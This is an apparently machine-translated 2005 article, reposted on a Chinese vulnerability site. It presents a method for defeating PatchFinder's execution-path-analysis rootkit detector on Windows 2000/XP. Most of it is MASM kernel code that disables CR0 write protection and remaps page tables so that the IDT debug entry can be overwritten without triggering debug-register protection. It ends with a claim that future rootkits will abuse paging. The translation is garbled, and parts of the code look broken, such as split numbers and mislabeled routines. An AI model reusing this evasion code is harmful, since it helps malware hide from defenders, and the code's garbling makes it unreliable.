Bypass Windows Rootkit detection systems-vulnerability warning-the black bar safety net

ID MYHACK58:6220053712
Type myhack58
Reporter 佚名
Modified 2005-10-16T00:00:00



PatchFinder is a design very cleverprocedure, based on EPA(execution path analysis)techniques are used to detect the intrusion of kernel Rootkits. Appendix 1 and 2 allows you to understand how it works. This article will provide a bypass of the EPA method.


The EPA Intel-based processor single-step mode, using the interrupt descriptor table(IDT)0x01 entrance. In order to prevent Rootkit to modify this entry, it uses the Debug registers(DR0 AND DR1)to protect the debugging processprocedure(a good idea)。 By the DR0 register protection 0x1 entry, and by the DR1 register protect interrupt processingprogram. (Note 1:) However, let us read it again Inter Manual [3]:“Each of the Debug Address Registers(DR0 to DR3)to save the 3 2-bit breakpoint linear address.” Note: the linear address! In Windows 2 0 0 0/XP, through a paging mechanism to a linear address into a physical address. Assume that the IDT base address is at 0x8003F400, stored in the IDTR, IDT 0x01 entry address is 0x8003F408 it. Intel about the IDTR description:“base address indicated by the IDT 0x00 entry address.” WIndows 2 0 0 0/XP by the CR3 register points to the page Directory is mapped to the linear address 0xC0300000 on. The linear address is composed of Directory, table and offset components, by the paging mechanism we will 0x8003F408 converted to a physical address is 0x03F00(by experiment too). Now we have to do is create a buffer, get the pointer to the buffer pointer and modify the page Directory and page table make this buffer to the physical addresses 0x03F00 to. Then, the buffer write something that will write the IDT, and will not trigger PatchFinder protection mechanism. The Debug register is simply unable to protect memory, because they can't protect physical memory.

[Source code]

Here is the source code by MASM v8. 0 compilation. Because I like Assembly language:-)full source code is available at www. rootkit. com to find.

;---Define the IDTR structure------- DIDTR STRUCT ;IDTR dLIMIT WORD ? ibase DWORD ? DIDTR ENDS ;-----------------------

ByepassIDTProtection PROC

LOCAL dbgHandler:DWORD




LOCAL diffoffset:DWORD


;Allocate one page size of memory(from nonpaged pool allocation) invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h mov varbase,eax

cli ;remember to restore

invoke DisablePageProtection ;for XP,Regmon using a very old trick

sidt myIDT mov eax,myIDT. ibase add eax,08h mov idtbase,eax ;idtbase = IDT base address + 8 byte

and eax,0FFC00000h ;get IDT address of Directory index shr eax,2 2 shl eax,2 ;multiply with 4

mov ebx,0C0300000h ;0C0300000 = page Directory add ebx,eax ;ebx = [page Directory + directory index*4] mov idtPDEaddr,ebx

mov eax,[ebx] mov idtPDE,eax ;eax = IDT address of the page directory entry(PDE)

mov eax,idtbase and eax,oFFFh ;get IDT address of the low 1 of 2 bits = page offset mov idtbaseoff,eax

mov eax,idtbase shr eax,1 2 ;Get IDT address high 1 2 shl eax,2 ;multiply with 4

mov ebx,0C0000000h ;process page table is mapped at 0xC0000000 start of the 4MB space add ebx,eax mov idtPTEaddr,eax ;IDT address PTE address

mov eax,[ebx] mov idtPTE,eax ;fetch the address of the PTE

mov eax,varbase

and eax,0FFC00000h ;get varbase the page Directory index shr eax,2 2 shl eax,2

mov ebx,0C0300000h add ebx,eax mov varPDEaddr,ebx

mov eax,[ebx] mov varPDE,eax

mov eax,varbase and eax,0FFFh mov varbaseoff,eax

mov eax,varbase shr eax,1 2 shl eax,2

mov ebx,0C0000000h add ebx,eax mov varPTEaddr,ebx

mov eax,[ebx] mov varPTE,eax

mov eax,varPDEaddr ;modify the PDE and IDT0x01 the same mov ebx,idtPDE mov [eax],ebx

mov eax,varPTEaddr ;modify the PTE for and IDT0x01 the same mov ebx,idtPTE mov [eax],ebx

mov ebx,idtbaseoff ;correction-page offset within the mov eax,varbaseoff sub ebx,eax

;Now we can use the linear address to the IDT 0x01 descriptor write something without triggering the Debug registers

mov eax,varbase mov dword ptr [eax+ebx],0DEADBEEFh

mov eax,varPDEaddr ;restore the original value mov ebx,varPDE mov [eax],ebx

mov eax,varPTEaddr ;restore the original value mov ebx,varPTE mov [eax],ebx

invoke EnablePageProtection ;restore CR0 Register of the WP logo


popad ret

BypassIDTProtection ENDP ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: EnablePageProtection PROC

push eax mov eax,CR0 and eax,0FFFEFFFFh mov CR0,eax pop eax ret

EnablePageProtection ENDP ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: DisablePageProtection PROC

push eax mov eax,CR0 or eax,NOT 0FFFEFFFFh mov CR0,eax pop eax ret

DisablePageProtection ENDP ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

[Rootkit in the future]

Unfortunately, this method makes the EPA to become useless. If Microsoft does not change its security structure, there is no one way to be able in the future to prevent rookits and. Future rootkits will be in the paging mechanism on the make a difference, this has unlimited possibilities. Upon entering Ring 0, Then forever in Ring 0. the


[1] Joanna Rutkowska,Advanced Windows 2 0 0 0 Rootkit Detection(advanced Rootkit detection technology) [2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2 [3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3

Note 1:

This figure can not draw, is to draw the reader may not be able to see and understand(because the painting is too simple-_-)。 I'm here to add something with the Debug register protection address the principle. First and foremost DR0-DR4 which of the 4 debug registers to save 4 of the linear address, and then through the DR7 register's relevant bit and check the DR6 Register of the relevant bits of the 4 addresses for the associated operation. Refer to the following code:

define DB_PROT_EXEC 0

define DB_PROT_WRITE 1

define DB_PROT_RW 3

define DB_DR0 0

define DB_DR1 1

define DB_DR2 2

define DB_DR3 3

define DB_LEN_1B 0

define DB_LEN_2B 1

define DB_LEN_4B 3

int dbProtect (int reg, int addr, int len, int protection) { unsigned int dr7mask;

switch (reg) { case 0: asm { mov eax, addr; mov DR0, eax; } break; case 1: asm { mov eax, addr; mov DR1, eax; } break; case 2: asm { mov eax, addr; mov DR2, eax; } break; case 3: asm { mov eax, addr; mov DR3, eax; } break; }

dr7mask = 0x2<<(reg2); dr7mask |= (( (len<<2) + protection) << (1 6+(4reg))); __asm { mov eax, DR7; or eax, dr7mask; mov DR7, eax; }

return 1; }

int dbSetGeneralProtection () {

__asm { mov eax, DR7; or eax, 0x1000; mov DR7, eax; }

return 1; }

Then in the interrupt handlerprocedurealso added the following code: mov eax, DR6; test ax, 0x100f; // BD |B3|B2|B1|B0 . . mov eax, DR6; // check the DR6 BS(single step)bit test ah, 0x40;

The final decision to 3 address different levels of protection: dbProtect (DB_DR0, (int)getIntGateAddr(NT_DEBUG_INT), DB_LEN_4B, DB_PROT_WRITE); dbProtect (DB_DR1, (int)getIntGateAddr(NT_DEBUG_INT)+4, DB_LEN_4B, DB_PROT_WRITE); dbProtect (DB_DR2, (int)NewDebugHandler1, DB_LEN_4B, DB_PROT_RW);

For DR6 and DR7 associated bit of the effect is not too familiar with can go check Intel's Manual 1 5. 2.